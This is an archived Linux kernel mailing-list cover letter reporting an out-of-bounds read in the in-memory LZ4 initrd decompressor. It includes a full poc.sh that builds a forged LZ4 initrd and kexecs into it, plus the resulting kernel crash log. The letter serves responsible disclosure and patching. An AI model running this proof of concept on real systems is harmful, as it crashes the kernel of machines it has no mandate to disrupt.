mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* [PATCH 0/1] lib: validate in-memory LZ4 chunk length
@ 2026-09-12 13:32 Zhiling Zou
  2026-09-12 13:32 ` [PATCH 1/1] " Zhiling Zou
  2026-09-15  4:45 ` [PATCH 0/1] " Andrew Morton
  0 siblings, 2 replies; 3+ messages in thread
From: Zhiling Zou @ 2026-09-12 13:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: akpm, kyungsik.lee, vega, zhilinz

Hi Linux kernel maintainers,

We found and validated an issue in lib/decompress_unlz4.c. The bug is
reachable by a root user through kexec_file_load() with a crafted
external initrd.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

When fill is NULL, unlz4() reads a 32-bit chunk length, advances the
input pointer, and subtracts four bytes from the remaining input size.
It then passes the unvalidated chunk length to LZ4_decompress_safe().
A forged length larger than the remaining archive makes the decoder
read past the mapped initrd while parsing the compressed block.

The in-memory path is used while unpacking an external initrd during
boot. The PoC creates a valid LZ4 legacy archive header followed by a
forged chunk length and a small payload, loads it with kexec_file_load(),
and executes the second kernel. The async initramfs unpack then crashes
in LZ4_decompress_safe().

Reproducer:

    chmod +x poc.sh
    ./poc.sh /root/bzImage

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------

    #!/bin/sh
    set -eu

    if [ "$(id -u)" -ne 0 ]; then
    	echo "run as root" >&2
    	exit 1
    fi

    KERNEL_IMAGE="${1:-/root/bzImage}"
    BAD_INITRD="${2:-/root/bad_unlz4.lz4}"

    if [ ! -r "$KERNEL_IMAGE" ]; then
    	echo "kernel image not found: $KERNEL_IMAGE" >&2
    	exit 1
    fi

    python3 - "$BAD_INITRD" <<'PY'
    import struct
    import sys

    path = sys.argv[1]
    magic = 0x184C2102
    chunk = 0x07FFF000
    payload = b"\xF0" + (b"\xFF" * 4096)

    with open(path, "wb") as f:
        f.write(struct.pack("<I", magic))
        f.write(struct.pack("<I", chunk))
        f.write(payload)
    PY

    CMDLINE='root=/dev/sda rw console=ttyS0 net.ifnames=0 biosdevname=0 panic_on_warn=1 oops=panic panic=-1 slub_debug=FZPU nokaslr slab_nomerge numa=off page_poison=1 init_on_alloc=0 init_on_free=0 quiet loglevel=7 systemd.show_status=false'

    /usr/sbin/kexec -u >/dev/null 2>&1 || true
    /usr/sbin/kexec -s -l "$KERNEL_IMAGE" --initrd="$BAD_INITRD" --command-line="$CMDLINE"
    sync
    /usr/sbin/kexec -e

------END poc.sh--------

----BEGIN crash log----

[    4.234226][   T46] Trying to unpack rootfs image as initramfs...
[    4.252106][   T46] BUG: unable to handle page fault for address: ffffed1028000000
[    4.252496][   T46] #PF: supervisor read access in kernel mode
[    4.252496][   T46] #PF: error_code(0x0000) - not-present page
[    4.252496][   T46] PGD 13ffec067 P4D 13ffec067 PUD 13ffeb067 PMD 0
[    4.252496][   T46] Oops: Oops: 0000 [#1] SMP KASAN NOPTI
[    4.252496][   T46] CPU: 2 UID: 0 PID: 46 Comm: kworker/u16:1 Not tainted 6.12.95 #4 53deed68f5e8c87eac9412ec2ca16e6c37d9fe62
[    4.252496][   T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[    4.252496][   T46] Workqueue: async async_run_entry_fn
[    4.252496][   T46] RIP: 0010:LZ4_decompress_safe+0x4a5/0x14c0
[    4.252496][   T46] Code: 00 fc ff df 48 89 d8 48 89 df 48 c1 e8 03 83 e7 07 0f b6 34 28 48 8d 43 07 48 89 c2 48 c1 ea 03 40 38 fe 40 0f 9e c7 40 84 f6 <0f> b6 14 2a 40 0f 95 c6 40 84 f7 0f 85 64 0a 00 00 83 e0 07 38 c2
[    4.252496][   T46] RSP: 0018:ffffc900003279e0 EFLAGS: 00010246
[    4.252496][   T46] RAX: ffff888140000001 RBX: ffff88813ffffffa RCX: ffff8881400f7019
[    4.252496][   T46] RDX: 1ffff11028000000 RSI: 0000000000000000 RDI: 0000000000000001
[    4.252496][   T46] RBP: dffffc0000000000 R08: ffffc90001401000 R09: 0000000000000000
[    4.252496][   T46] R10: 00000000000000f0 R11: ffff888147ff6008 R12: ffffc9000150000f
[    4.252496][   T46] R13: ffffc90001c01000 R14: ffff888147ff6008 R15: ffffc90001408ff0
[    4.252496][   T46] FS:  0000000000000000(0000) GS:ffff88810f400000(0000) knlGS:0000000000000000
[    4.252496][   T46] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.252496][   T46] CR2: ffffed1028000000 CR3: 000000013b534001 CR4: 0000000000770ef0
[    4.252496][   T46] PKRU: 55555554
[    4.252496][   T46] Call Trace:
[    4.252496][   T46]  <TASK>
[    4.252496][   T46]  ? unlz4+0x382/0x660
[    4.252496][   T46]  ? srso_alias_return_thunk+0x5/0xfbef5
[    4.252496][   T46]  ? vmalloc_noprof+0xb4/0x100
[    4.252496][   T46]  unlz4+0x23d/0x660
[    4.252496][   T46]  ? __pfx_flush_buffer+0x10/0x10
[    4.252496][   T46]  ? srso_alias_return_thunk+0x5/0xfbef5
[    4.252496][   T46]  unpack_to_rootfs+0x23c/0x730
[    4.252496][   T46]  ? __pfx_error+0x10/0x10
[    4.252496][   T46]  ? __pfx_unpack_to_rootfs+0x10/0x10
[    4.252496][   T46]  ? srso_alias_return_thunk+0x5/0xfbef5
[    4.252496][   T46]  ? __pfx__printk+0x10/0x10
[    4.252496][   T46]  ? srso_alias_return_thunk+0x5/0xfbef5
[    4.252496][   T46]  ? lock_release+0x687/0xc90
[    4.252496][   T46]  ? __pfx_do_populate_rootfs+0x10/0x10
[    4.252496][   T46]  ? do_populate_rootfs+0x34b/0x6c0
[    4.252496][   T46]  ? srso_alias_return_thunk+0x5/0xfbef5
[    4.252496][   T46]  do_populate_rootfs+0x34b/0x6c0
[    4.252496][   T46]  ? ktime_get+0x32/0x150
[    4.252496][   T46]  ? __pfx_do_populate_rootfs+0x10/0x10
[    4.252496][   T46]  ? srso_alias_return_thunk+0x5/0xfbef5
[    4.252496][   T46]  ? trace_hardirqs_on+0x5b/0x110
[    4.252496][   T46]  ? srso_alias_return_thunk+0x5/0xfbef5
[    4.252496][   T46]  ? srso_alias_return_thunk+0x5/0xfbef5
[    4.252496][   T46]  ? srso_alias_return_thunk+0x5/0xfbef5
[    4.252496][   T46]  ? __pfx_do_populate_rootfs+0x10/0x10
[    4.252496][   T46]  async_run_entry_fn+0x9f/0x510
[    4.252496][   T46]  process_one_work+0x80f/0x1680
[    4.252496][   T46]  ? worker_thread+0x275/0x1140
[    4.252496][   T46]  ? __pfx_process_one_work+0x10/0x10
[    4.252496][   T46]  ? lock_acquired+0x374/0xb30
[    4.252496][   T46]  ? lock_is_held_type+0x9a/0x110
[    4.252496][   T46]  ? srso_alias_return_thunk+0x5/0xfbef5
[    4.252496][   T46]  worker_thread+0x618/0x1140
[    4.252496][   T46]  ? __pfx_worker_thread+0x10/0x10
[    4.252496][   T46]  kthread+0x2bd/0x3a0
[    4.252496][   T46]  ? __pfx_kthread+0x10/0x10
[    4.252496][   T46]  ? __pfx_kthread+0x10/0x10
[    4.252496][   T46]  ret_from_fork+0x31/0x70
[    4.252496][   T46]  ? __pfx_kthread+0x10/0x10
[    4.252496][   T46]  ret_from_fork_asm+0x1a/0x30
[    4.252496][   T46]  </TASK>
[    4.252496][   T46] Modules linked in:
[    4.252496][   T46] CR2: ffffed1028000000
[    4.252496][   T46] ---[ end trace 0000000000000000 ]---
[    4.252496][   T46] RIP: 0010:LZ4_decompress_safe+0x4a5/0x14c0
[    4.252496][   T46] Code: 00 fc ff df 48 89 d8 48 89 df 48 c1 e8 03 83 e7 07 0f b6 34 28 48 8d 43 07 48 89 c2 48 c1 ea 03 40 38 fe 40 0f 9e c7 40 84 f6 <0f> b6 14 2a 40 0f 95 c6 40 84 f7 0f 85 64 0a 00 00 83 e0 07 38 c2
[    4.252496][   T46] RSP: 0018:ffffc900003279e0 EFLAGS: 00010246
[    4.252496][   T46] RAX: ffff888140000001 RBX: ffff88813ffffffa RCX: ffff8881400f7019
[    4.252496][   T46] RDX: 1ffff11028000000 RSI: 0000000000000000 RDI: 0000000000000001
[    4.252496][   T46] RBP: dffffc0000000000 R08: ffffc90001401000 R09: 0000000000000000
[    4.252496][   T46] R10: 00000000000000f0 R11: ffff888147ff6008 R12: ffffc9000150000f
[    4.252496][   T46] R13: ffffc90001c01000 R14: ffff888147ff6008 R15: ffffc90001408ff0
[    4.252496][   T46] FS:  0000000000000000(0000) GS:ffff88810f400000(0000) knlGS:0000000000000000
[    4.252496][   T46] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.252496][   T46] CR2: ffffed1028000000 CR3: 000000013b534001 CR4: 0000000000770ef0
[    4.252496][   T46] PKRU: 55555554
[    4.252496][   T46] Kernel panic - not syncing: Fatal exception

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  lib: validate in-memory LZ4 chunk length

 lib/decompress_unlz4.c | 4 ++++
 1 file changed, 4 insertions(+)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-09-15  4:45 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-09-12 13:32 [PATCH 0/1] lib: validate in-memory LZ4 chunk length Zhiling Zou
2026-09-12 13:32 ` [PATCH 1/1] " Zhiling Zou
2026-09-15  4:45 ` [PATCH 0/1] " Andrew Morton

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®